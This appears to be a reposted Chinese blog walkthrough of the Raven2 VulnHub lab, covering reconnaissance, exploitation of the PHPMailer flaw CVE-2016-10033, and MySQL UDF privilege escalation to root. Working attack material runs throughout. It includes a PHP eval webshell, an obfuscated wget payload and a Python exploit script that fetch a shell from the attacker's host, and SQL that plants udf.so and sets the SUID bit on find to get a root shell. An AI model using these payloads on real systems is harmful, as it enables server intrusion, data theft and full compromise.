返回顶部
首页 > 资讯 > 数据库 >Mysql UDF提权复现Raven2
  • 558
分享到

Mysql UDF提权复现Raven2

mysqlphp数据库web安全后端 2023-09-22 21:09:40 558人浏览 安东尼
摘要

Raven2通关过程 主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。 靶机镜像:https://www.vulnhub.com/entry/raven-2,269/ 信息收集

Raven2通关过程

主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。

靶机镜像:https://www.vulnhub.com/entry/raven-2,269/

信息收集

拿到靶机ip:192.168.112.129

nmap -sP 192.168.112.0/24

在这里插入图片描述

探测开放端口,nmap用烂了换Goby用用,看到开放了22、11、80端口

在这里插入图片描述

尝试访问80端口,一个提供安保服务的站点

在这里插入图片描述

对网站目录进行fuzz

在这里插入图片描述

根据扫描结果了解到是Wordpress建站的,在vendor目录下存在目录遍历

在这里插入图片描述

在PATH下发现了flag1

在这里插入图片描述

渗透阶段

因为在信息收集时发现了PHPMailer和WordPass的信息

在WordPress (<= 4.6.0)、Drupal、1CRM、Joomla!等使用了phpMailer的开源CMS并且PHPMailer < 5.2.18的情况下,存在(CVE-2016-10033)WordPress命令执行漏洞

当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。

phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

CVE-2016-10033漏洞复现

准备好木马文件shell.php

 eval($_POST['tpa']); ?>

开启Http服务

python -m http.server 80

在如下页面点击Lost your password抓包

http://raven.local/wordpress/wp-login.php?action=lostpassword

在这里插入图片描述

抓的包如下
在这里插入图片描述

构造payload

target(any -froot@localhost -be ${run{$payload}} null)

其中的$payload原型

/usr/bin/wget --output-document /var/www/html/tpashell.php 192.168.112.128/shell.php

需要对payload进行转换

所有/${substr{0}{1}{$spool_directory}}代替

所有空格${substr{10}{1}{$tod_log}}代替

${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php

最终的payload

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vendor${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php}} null)

payload替换Host,但一直报错400

在这里插入图片描述

改用脚本,经过修改脚本如下

# -*- coding: utf-8 -*-from requests_toolbelt import MultipartEncoderimport requestsimport osimport base64from lxml import html as lhos.system('clear')print("\n")print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")print(" Version 1.0 - GitHub.com/anarcoder - greetings opsxcq & David Golunski\n")target = 'http://192.168.112.129/contact.php'backdoor = '/shell.php'payload = ''fields={'action': 'submit',        'name': payload,        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com',        'message': 'Pwned'}m = MultipartEncoder(fields=fields,                     boundary='----WEBKitFORMBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0',         'Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')r = requests.post(target, data=m.to_string(),                  headers=headers)print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')r = requests.get(target+backdoor, headers=headers)if r.status_code == 200:    print('[+]  ExPLoITeD ' + target)

执行后

在这里插入图片描述

点击http://192.168.112.129/contact.php链接,会生成shell.php文件

攻击机设置监听

nc -lvvp 7777

访问http://192.168.112.129/shell.php文件,成功反弹

在这里插入图片描述

当前用户为www-data

在这里插入图片描述

建立交互式shell

Python -c 'import pty;pty.spawn("/bin/bash")'

在wordpress目录下的wp-config.php文件中找到mysql数据库的用户名密码

more wp-config.php

在这里插入图片描述

直接链接数据库

mysql -uroot -pR@v3nSecurity

在这里插入图片描述

顺便脱下库

show databases;

在这里插入图片描述

use wordpress

在这里插入图片描述

show tables;

在这里插入图片描述

select * from wp_users;

在这里插入图片描述

Mysql UDF提权

查看mysql的运行权限

ps -aux|grep mysql

查看插件所在路径,得到路径/usr/lib/mysql/plugin/

show variables like '%plugin%';

在这里插入图片描述

在exp-db中搜索UDF,找到如下POC
在这里插入图片描述

记住编号1518

searchsploit 1518

在这里插入图片描述

找到1518.c的地址

locate 1518.c

在这里插入图片描述

编译生成so文件

GCc -g -shared -Wl,-soname,udf.so -o udf.so /usr/share/exploitdb/exploits/linux/local/1518.c -lc

-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-Wl选项告诉编译器将后面的参数传递给链接器。

-soname则指定了动态库的soname(简单共享名,Short for shared object name)

soname的关键功能是它提供了兼容性的标准:

当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。

-o 生成的文件
-lc -l 库 c库名

将文件传到靶机,攻击机开启http服务

wget http://192.168.112.128/udf.so

在这里插入图片描述

回到数据库,使用mysql库

use mysql

在这里插入图片描述

创建表tpax

create table tpax(line blob);

将上传的udf.so文件二进制数据插入表中

insert into tpax values(load_file('/var/www/html/udf.so'));

在这里插入图片描述

利用dumpfile函数将文件导出

select * from tpax into dumpfile '/usr/lib/mysql/plugin/udf.so';

在这里插入图片描述

创建自定义函数do_system,类型integer,别名udf.so

create function do_system returns integer soname 'udf.so';

在这里插入图片描述

查看创建的函数

select * from mysql.func;

在这里插入图片描述

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');

在这里插入图片描述

使用find命令

find / -exec "/bin/sh" \;

在这里插入图片描述

成功拿到root,进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

加上之前拿到的flag1拿到所有flag

find / -name flag*

在这里插入图片描述

来源地址:https://blog.csdn.net/qq_18980147/article/details/129090358

您可能感兴趣的文档:

--结束END--

本文标题: Mysql UDF提权复现Raven2

本文链接: https://lsjlt.com/news/415790.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Mysql UDF提权复现Raven2
    Raven2通关过程 主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。 靶机镜像:https://www.vulnhub.com/entry/raven-2,269/ 信息收集...
    99+
    2023-09-22
    mysql php 数据库 web安全 后端
  • Window环境下MySQL UDF提权
    目录前言一、UDF简介二、UDF提权条件三、上传动态链接库文件四、UDF提权步骤1、查看secure_file_priv的值2、查看plugin的值3、查看系统构架以及plugin目录MSF漏洞验证五、UDF提权反弹Sh...
    99+
    2023-03-21
    MySQL UDF提权 数据库提权
  • mysql udf提权的方法是什么
    MySQL UDF(User-Defined Functions)是用户自定义函数,可以用来扩展MySQL的功能。提权是指获取更高权...
    99+
    2024-04-09
    mysql
  • MySQL udf提权的原理是什么
    MySQL的UDF(User Defined Function)提权漏洞利用的原理通常是通过创建自定义函数并将其加载到MySQL服务...
    99+
    2024-04-09
    MySQL
  • 关于mysql mof提权研究
    无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。利用前提:操作系统为windows操作系统版本不宜太高,2008测试不通过,...
    99+
    2024-04-02
  • 怎么给MySQL提升权限
    本篇内容介绍了“怎么给MySQL提升权限”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!  其实我们早就能想...
    99+
    2024-04-02
  • linux提权漏洞如何修复
    修复Linux系统的提权漏洞需要根据具体的漏洞类型和版本进行相应的处理。一般来说,以下操作可以帮助修复Linux系统的提权漏洞:1....
    99+
    2023-08-30
    linux
  • linux kernel提权怎么实现
    要实现Linux内核的提权,通常有以下几种方法:1. 利用漏洞:寻找Linux内核中已知的漏洞,并利用这些漏洞进行提权。一旦找到漏洞...
    99+
    2023-10-19
    linux kernel
  • python脚本实现Redis未授权批量提权
    前言 本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。 安装依赖 sudo easy_install redis 使用 ...
    99+
    2022-06-04
    批量 脚本 python
  • Mysql提权的多种姿势汇总
    目录一、写入Webshellinto outfile 写shell日志文件写shell二、UDF提权三、MOF提权总结一、写入Webshell into outfil...
    99+
    2024-04-02
  • 如何实现提权的vbs代码
    小编给大家分享一下如何实现提权的vbs代码,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!代码如下:on error resume next dim usernam...
    99+
    2023-06-08
  • Java实现平滑加权轮询算法之降权和提权详解
    目录前言1.两个关键点2.代码实现2.1.服务节点类2.2.平滑轮询算法降权和提权3.分析结果4.结论前言 上一篇讲了普通轮询、加权轮询的两种实现方式,重点讲了平滑加权轮询算法,并在...
    99+
    2024-04-02
  • Linux使用suid vim.basic文件实现提权
    在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 通过以下命令可以...
    99+
    2022-06-03
    linux suid vim basic 提权
  • linux下恢复mysql的root权限方法
    一不小心把mysql的root权限全部撤销了,网上找了很多方法来恢复,经过实践,发现这一个方法是可行的,特地记下来。 1、先敲一下 service mysqld stop 命令,这个命令的作用的停掉mys...
    99+
    2024-04-02
  • MySQL show fileds from 提示无权限的示例分析
    MySQL show fileds from 提示无权限的示例分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。背景:MySQL-5.7....
    99+
    2024-04-02
  • Mysql 用户权限管理实现
    1. MySQL 权限介绍 mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,我当前的版本mysql 5.7.22 。 mysql权限表的验证过程为: ...
    99+
    2022-05-25
    Mysql 用户权限管理
  • MySQL GRANT用户授权的实现
    授权就是为某个用户赋予某些权限。例如,可以为新建的用户赋予查询所有数据库和表的权限。MySQL 提供了 GRANT 语句来为用户设置权限。 在 MySQL 中,拥有 GRANT 权限的用户才可以执行 GRANT 语句...
    99+
    2022-05-28
    MySQL GRANT用户授权 MySQL 用户授权
  • mysql 的root 用户无法授权,navicat 远程授权提示1044解决方案
    先看解决方案 #------------mysql root 用户无法赋权问题解决 -------- 1,登录 mysql -u root -p 2,use mysql; 选择mysql数据库 3,执行以下操作(查询用户的赋权...
    99+
    2020-10-01
    mysql 的root 用户无法授权,navicat 远程授权提示1044解决方案
  • MySQL REVOKE实现删除用户权限
    在 MySQL 中,可以使用 REVOKE 语句删除某个用户的某些权限(此用户不会被删除),在一定程度上可以保证系统的安全性。例如,如果数据库管理员觉得某个用户不应该拥有 DELETE 权限,那么就可以删除 ...
    99+
    2022-05-28
    MySQL REVOKE 删除用户权限 MySQL 删除用户权限
  • MySQL数据权限的实现详情
    目录数据权限模型实现效果数据模型数据权限表结构授权维度表具体授权维度表(产品线)组件路由表角色表角色组件绑定表角色组件授权规则表(核心)实现过程代码实现自定义数据权限注解定义数据权限处理切面数据权限工具类查询组件规则Co...
    99+
    2022-08-12
    MySQL数据权限实现 MySQL数据权限
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作